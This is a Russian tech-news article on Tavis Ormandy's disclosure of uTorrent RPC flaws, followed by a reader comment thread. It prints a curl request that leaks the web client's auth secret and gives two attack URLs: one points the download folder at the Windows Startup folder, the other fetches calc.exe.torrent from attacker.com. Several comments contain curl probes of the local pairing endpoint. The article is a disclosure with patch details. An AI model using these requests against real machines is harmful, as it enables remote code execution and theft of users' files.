В двух версиях uTorrent (под Windows и в веб-версии uTorrent Web) обнаружено несколько опасных уязвимостей, которые легко эксплуатировать. При этом они позволяют запускать произвольный код на машине, где запущен uTorrent (веб-версия); получить доступ к скачанным файлам, в том числе копировать их, просматривать историю скачиваний (веб-версия и Windows).

Взлом возможен только если uTorrent работает с настройками по умолчанию, а именно с HTTP RPC сервером на порту 10000 (uTorrent Classic) или 19575 (веб-версия uTorrent) с активированным обработчиком /proxy/ (он активирован по умолчанию).

Баги нашёл хакер Тэвис Орманди (Tavis Ormandy) из подразделения Project Zero в компании Google. Он разгласил информацию в баг-трекере Chromium 31 января 2018 года (через 90 дней после того, как сообщил о ней разработчикам).

Как пишет Тэвис, любой веб-сайт может взаимодействовать с вышеуказанными RPC-серверами через программный интерфейс XMLHTTPRequest(). Это API использует запросы HTTP или HTTPS напрямую к серверу и загружает данные ответа сервера напрямую в вызывающий скрипт. Интерфейс позволяет осуществлять HTTP-запросы к серверу без перезагрузки страницы и часто используется на многих современных сайтах.

Для взлома машины, где работает uTorrent, нужно заманить пользователя на веб-страницу, где установлен эксплоит. Это может быть совершенно любой сайт. Эксплоит через перепривязывание DNS по XMLHTTPRequest() заставляет браузер запустить скрипт, обращающийся к этому RPC-серверу.

На демо-странице приведены примеры, какие действия может инициировать веб-сайт через интерфейс JSON RPC сервера на порту 10000. Здесь через программный интерфейс по XMLHTTPRequest() отправляются стандартные команды uTorrent.

Тэвис пишет, что изучая разные команды uTorrent-клиенту он заметил, что в программе с настройками по умолчанию активен обработчик /proxy/, что позволяет стороннему сайту посмотреть список скачанных файлов и скопировать их. То есть по умолчанию uTorrent позволяет любому сайту проверить список скачанных вами торрентов, достаточно лишь сбрутить одно маленькое число (sid), которое присваивается каждому открытому торренту по очереди.

Орманди сделал демо-страничку. Хакер говорит, что демка работает медленно, но если вы всё-таки хотите увидеть фокус, то сделайте следующее:

  1. Установите uTorrent с дефолтными настройками.
  2. Добавьте торрент из URL: https://archive.org/download/SKODAOCTAVIA336x280/SKODAOCTAVIA336x280_archive.torrent.
  3. По окончании скачивания торрента (он всего лишь 5 МБ) перейдите на страницу с демкой.
  4. Подождите несколько минут.
(скриншот).

По ходу изучения программы uTorrent Тэвис нашёл в ней ещё парочку багов и недостатков: например, некорректный генератор псевдослучайных чисел, отключение защиты памяти ASLR и неправильная работа в «гостевом» режиме, где должны быть отключены многие функции, а на самом деле они доступны через тот же сервер на порту 10000.

В веб-версии уязвимость ещё жёстче, потому что там любой сторонний сайт может получить доступ к токену аутентификации, секрет которого хранится в открытой папке webroot (как и настройки, дампы, логи и др.) — это очень удивило Тэвиса Орманди.

$ curl -si http://localhost:19575/users.conf
HTTP/1.1 200 OK
Date: Wed, 31 Jan 2018 19:46:44 GMT
Last-Modified: Wed, 31 Jan 2018 19:37:50 GMT
Etag: "5a721b0e.92"
Content-Type: text/plain
Content-Length: 92
Connection: close
Accept-Ranges: bytes

localapi29c802274dc61fb4 bc676961df0f684b13adae450a57a91cd3d92c03 94bc897965398c8a07ff 2 1


Получив секрет, можно дистанционно изменить директорию для скачивания и дать команду на загрузку произвольного файла. Например, загрузить вредоносный код в папку автозагрузки:

http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent


> Рабочий эксплоит

Разработчики из компании BitTorrent, Inc. уже выпустили патч для uTorrent под Windows. Пока что он доступен только в бета-версии uTorrent/BitTorrent 3.5.3.44352, которая в ближайшее время должна стать доступна через механизм автоматического обновления. Пользователям uTorrent Web надо обновиться на последний билд 0.12.0.502.

uTorrent — один из самых популярных торрент-клиентов, написан на C++. Отличается небольшим размером и высокой скоростью работы при достаточно большой функциональности. Первая версия вышла 18 сентября 2005 года. Сейчас доступен в версиях для всех основных операционных систем. Количество пользователей превышает 100 млн человек. В первых версиях автор пытался зарабатывать на контекстной рекламе, потом программу купила компания BitTorrent, которая монетизировалась через навязывание тулбаров, adware и «Яндекс.Браузера» (в русскоязычной версии).

Комментарии (39)


  1. ton1
    21.02.2018 21:27

    Эхх старая версия 2.2.1 пробивается тоже.
    А что если это хитрый план разрабов по пересадке всех на новую ветку с рекламой и адварью?


    1. FreeManOfPeace
      21.02.2018 22:43

      А что если это хитрый план по пересадке всех на qBittorrent?


      1. DoctorMoriarty
        21.02.2018 23:32

        Или это заговор Tixati!


        1. NeoCode
          22.02.2018 00:09

          NO Spyware, NO Adware, NO Source Code :)


          1. DoctorMoriarty
            22.02.2018 16:11

            >NO Source Code

            Как будто в этом есть что-то плохое :-) Эта софтина пока не была скомпрометирована и оснований для подозрений нет.


      1. Lertmind
        22.02.2018 07:28

        Когда они сделают смену пути у отдельных файлов, можно будет подумать.


        1. faiwer
          22.02.2018 11:51

          Проверил. Есть. Всё работает. Правая кнопка в разделе content на нужном файле и rename. Или вам прямо тасовать между директориями нужно?


        1. sim2q
          22.02.2018 12:22

          а также их переименование (да, я знаю — придётся хранить оригинальное отдельно)


      1. StSav012
        22.02.2018 08:15

        Ага, который жрёт ресурсы процессора так, что вспоминается история про криптовалюты и торрент-клиент.


        1. QDeathNick
          22.02.2018 11:23

          Вы точно про qbittorrent? У него открытый код подписанный pgp, какие там могут быть криптовалюты.


          Может это вообще реклама SKODA-OCTAVIA?


          1. StSav012
            23.02.2018 09:29

            Аналогия всплывает. Я понимаю, чтт это косяк создателей, но не знаю, на что он тратит столько процессорного времени.


        1. mayorovp
          22.02.2018 18:32

          Вы путаете, процессор жрут как раз последние версии uTorrent.


          1. sumanai
            22.02.2018 20:04

            Так никто не заставляет использовать последние.


          1. StSav012
            23.02.2018 09:33

            Не путаю. К сожалению, и web-версия, и qt-версия qbittorrent на некоторых системах используют ровно весь ресурс процессора. Баги репортят от начала веков, но всё одно.


        1. wadeg
          24.02.2018 00:58

          Ровно наоборот: при переходе с uTorrent на qBittorent перестал выжираться процессор на сотне-другой раздач.


  1. Andy_U
    21.02.2018 23:21

    Хмм, зашел на страничку lock.cmpxchg8b.com/utorrent-crash-test.html, понажимал на кнопочки. Реакция лишь на 2: pairing request и pin request — в uTorrent действительно вылезают 2 диалога. На crash и device transfer (что это?) никакой реакции. Да, и никаких настроек этого RPC сервера я что-то не вижу. curl какие-то ошибки возвращает. Т.е. совсем не то, что в оригинальной публикации.

    p.s. uTorrent 3.3 (build 290822) [32-bit].


    1. Andy_U
      21.02.2018 23:29

      Вдогонку, если в Advanced preferences поставить webui.allow_pairing в false, то и ранее работающие 2 кнопки (pairing request и pin request) перестают диалоги открывать.


      1. Aingis
        23.02.2018 13:40

        Похоже, net.discoverable отключает эту фичу напрочь. Не знаю, как влияет на работу торрентов, но скачиванию и отдаче вроде не мешает.
        P.S. Да, описание прямо говорит, что «µTorrent ожидает запросы на подключение внешних приложений на одном из предназначенных для этого портов (в настоящий момент это порт 10000)».


        1. Andy_U
          23.02.2018 14:51

          Вы пробовали с той же машины, где uTorrent работает, или с «соседней»?

          Просто у меня со своей, эта опция несколько странно работает:

          Если true (default), то запрос на pairing, при webui.allow_pairing = false отрабатывает так:

          D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator"
          *   Trying ::1...
          * TCP_NODELAY set
          *   Trying 127.0.0.1...
          * TCP_NODELAY set
          * Connected to localhost (127.0.0.1) port 10000 (#0)
          > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1
          > Host: localhost:10000
          > User-Agent: curl/7.58.0
          > Accept: */*
          >
          < HTTP/1.1 401 Unauthorized
          < Connection: close
          < Content-Length: 0
          < Content-Type: text/html
          < Cache-Control: no-cache
          <
          * Closing connection 0


          А если поменять net.discoverable = false, то так:

          D:\>curl -v "http://localhost:10000/gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator"
          *   Trying ::1...
          * TCP_NODELAY set
          *   Trying 127.0.0.1...
          * TCP_NODELAY set
          * Connected to localhost (127.0.0.1) port 10000 (#0)
          > GET /gui/pair?pairing=AAAAAAAAAA&callback=error&type=1&deviceid=AAAAAAAAAAAAAAAAAAAA&pin=1234&name=Enter%20PIN%201234%0a%0aAdministrator HTTP/1.1
          > Host: localhost:10000
          > User-Agent: curl/7.58.0
          > Accept: */*
          >
          < HTTP/1.1 200 OK
          < Connection: keep-alive
          < Content-Length: 24
          < Content-Type: text/html
          <
          error('invalid request')* Connection #0 to host localhost left intact
          


          Т.е. локально этот дурацкий сервер не отключается.


          1. Aingis
            23.02.2018 18:14

            Хмм, сразу не проверял, запустил сейчас, ответ такой:

            * TCP_NODELAY set
              % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                             Dload  Upload   Total   Spent    Left  Speed
              0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0* connect to 127.0.0.1 port 10000 failed: Connection refused
            * Failed to connect to localhost port 10000: Connection refused
            * Closing connection 0
            curl: (7) Failed to connect to localhost port 10000: Connection refused
            

            Может перезапускать надо?


            1. navion
              23.02.2018 18:19

              Оно теперь слушает на порте для раздачи.


    1. Andy_U
      23.02.2018 15:05

      На всякий случай, под Windows, надо при запуске curl использовать двойные кавычки!


  1. vis_inet
    22.02.2018 05:02

    Скажите, а какими-то настройками нужно закрыть уязвимость?


  1. Bioman85
    22.02.2018 08:20

    С включенным IAC и при запуске не от администратора в автозапуск ничего скачать не даст, чтобы оно не делало.Просто туда доступа не будет.


  1. Lordbl4
    22.02.2018 08:48
    +1

    кому нужны эти ваши uТорренты, когда есть qBittorent?


    1. BigD
      22.02.2018 15:55

      ага, это открытие года для меня стало


    1. Andy_U
      22.02.2018 23:30

      А есть простой способ туда «библиотеку» перенести из uTorrent'а? Желательно с историей. Я помню, когда перетаскивал файлы с диска C на диск D, так и то какой-то утилитой пользовался. А тут как?


      1. Lordbl4
        23.02.2018 17:53

        статистику — врятли, а раздачи легко. в настройках указываем папку для загрузок, перемещаем туда файлы и добавляем torrent-файлы. пройдёт проверка уже имеющихся файлов и начнётся раздача


        1. Andy_U
          24.02.2018 02:07

          Спасибо. Но вот статистику жалко.


          1. Lordbl4
            24.02.2018 14:14

            она же локальная…


    1. Num
      23.02.2018 02:46

      qBittorent может внезапно перестать скачивать с определенного трекера и ничего с этим нельзя будет поделать, приходится возвращаться.


      1. Lordbl4
        23.02.2018 17:58

        пользуюсь с первого релиза, никогда таких проблем не замечал. сиды могут пропадать в том числе и из-за роскомпозора. настройка обхода блокировок дело рук самих пользователей.


    1. navion
      23.02.2018 18:05

      Что они запихнули в дистрибутив? uTorrent со всей блоатварью весит в 10 раз меньше.


      1. LenKagamine
        24.02.2018 10:23

        Кмк, QT.


    1. KorDen32
      24.02.2018 12:11

      У qBittorrent, к сожалению, есть пучок неприятных проблем.
      С версии 3.3.11 есть глюки в работе с прокси.
      С версии 4.0.0 появилось бешеное использование диска (пофикшено в недавно вышедшей 4.0.4) и периодические странные отвалы задач — не запускаются сами при запуске программы или не анонсируются (вроде не пофикшено).
      Кроме того, у него иногда странная логика выбора пиров и приоритетов — там, где uTorrent спокойно подключается к локальным пирам на большой скорости, qB их либо не видит, либо качает с них почему-то очень медленно.


  1. cicatrix
    22.02.2018 10:33

    Уязвимость SuperHole v. 666 от 2045 года:
    1. Скачайте дистрибутив эксплойта SuperHole v. 666 с официального сайта! (не доверяйте другим сайтам, в сети много подделок), только скачивая данную уязвимость с нашего сайта вы получаете её гарантированно.
    2. Отключите файрволл и антивирус
    3. Запустите установщик от имени администратора, примите лицензионное соглашение.
    4. Дождитесь окончания установки
    Поздравляем, вы установили уязвимость SuperHole 666 на ваше устройство.

    Теперь о том, как её закрыть:
    1. Скачайте Anti-SuperHole v. 667 с официального сайта…


  1. Lyazar
    22.02.2018 11:51

    Если есть noscript — то он заблокирует обращение к портам локалхоста.


    1. Andy_U
      22.02.2018 12:19

      А вот uMatrix обманывается… Хоть автору пиши.


  1. MonkAlex
    22.02.2018 13:48

    А если у меня 1.8.2 без всяких настроек — меня касается?